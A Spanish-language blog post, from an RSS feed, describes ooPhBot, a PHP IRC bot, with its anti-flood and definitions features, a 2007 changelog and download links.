<p>Algunas de las caracteristicas de este bot es su proteccion anti <em>flood</em> que se define por el owner del canal y el Oráculo (Oracle; término puesto por mi a esta funcionalidad) que permite enseñar al bot definiciones de palabras para luego ser consultadas (!learn palabra significado, ?? palabra).<br />
Este bot corre bajo php-cli (command line interface), es decir, por consola y tambien puede ser ejecutado desde la web. Queda trabajando como un demonio.</p>
<p><strong>Version Actual:<br />
</strong>La version actual es la misma desde enero del año 2007, no he vuelto a tocar el codigo (aunque sigo usando el bot), funciona todo menos las busquedas de terminos y definiciones en Google que, me imagino, hay que hacerle un par de modificaciones al codigo para que parsee bien las busquedas.</p>
<p><strong>Changelog</strong></p>
<blockquote><p>VERSION 1.0.4 &#8211; 26 ENE 2007</p>
<p>- Cambiado el sistema de autentifiacion. Se verifica que el usuario<br />
este identificado con NickServ.</p>
<p>VERSION 1.0.3 &#8211; 19 ENE 2007</p>
<p>- Se agrego a la clase Bot el metodo TXTflood( &#8230; ) que verifica<br />
el flood de texto de un usuario en un canal especifico, esta opcion<br />
puede ser habilitada o desactivada por usuarios con privilegios mediante<br />
!flood on|off en el canal.<br />
- Se ha reescrito la clase que permite la identificacion y permite que los usuarios<br />
tengan distintos privilegios. (CHAdmin.)<br />
- Corregido el bug que expulsaba de manera distinta a !k o !kick (0 nick o [spacio] nick)<br />
- Agregada la clase Google con los metodos !define y !google.</p>
<p>VERSION 1.0.2 &#8211; 16 ENE 2007</p>
<p>- El bot corre en segundo plano (fork).<br />
- Agregada una funcion extra en la clase del bot usando el binario &#8216;numerador&#8217;<br />
ubicado en el directorio extras, la funcion es !num NUMERO.<br />
- Fixeado bug que causaba la caida del bot al enviar dos veces el comando<br />
para setear una clave. (reportado por Pons)<br />
- Agregado soporte para unrealircd (antes solo habia sido probado en bahamut).<br />
- Testeado en dancer-ircd, bahamut, Hyperion y unrealircd.</p>
<p>VERSION 1.0.0 &#8211; 15 ENE 2007</p>
<p>- Corregido el fallo que cerraba la conexion a la base de datos por idle.</p></blockquote>
<p><strong>Descargar:</strong><br />
Version 1.0.4: <a href="http://blog.zerial.org/files/oophbot-1.0.4.zip">zip</a> | <a href="http://blog.zerial.org/files/oophbot-1.0.4.tar.gz">tar.gz</a> | <a href="http://blog.zerial.org/files/oophbot-1.0.4.tar.bz2">tar.bz2</a></p>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Foophbot-bot-para-irc-escrito-en-php%2F&amp;linkname=ooPhBot%3A%20Bot%20para%20IRC%20escrito%20en%20PHP" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Foophbot-bot-para-irc-escrito-en-php%2F&amp;linkname=ooPhBot%3A%20Bot%20para%20IRC%20escrito%20en%20PHP" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Foophbot-bot-para-irc-escrito-en-php%2F&amp;linkname=ooPhBot%3A%20Bot%20para%20IRC%20escrito%20en%20PHP" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Foophbot-bot-para-irc-escrito-en-php%2F&amp;linkname=ooPhBot%3A%20Bot%20para%20IRC%20escrito%20en%20PHP" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Foophbot-bot-para-irc-escrito-en-php%2F&amp;linkname=ooPhBot%3A%20Bot%20para%20IRC%20escrito%20en%20PHP" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Foophbot-bot-para-irc-escrito-en-php%2F&amp;linkname=ooPhBot%3A%20Bot%20para%20IRC%20escrito%20en%20PHP" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Foophbot-bot-para-irc-escrito-en-php%2F&amp;linkname=ooPhBot%3A%20Bot%20para%20IRC%20escrito%20en%20PHP" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Foophbot-bot-para-irc-escrito-en-php%2F&amp;linkname=ooPhBot%3A%20Bot%20para%20IRC%20escrito%20en%20PHP">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/linux/oophbot-bot-para-irc-escrito-en-php/feed/</wfw:commentRss>
		<slash:comments>19</slash:comments>
		</item>
	</channel>
</rss>
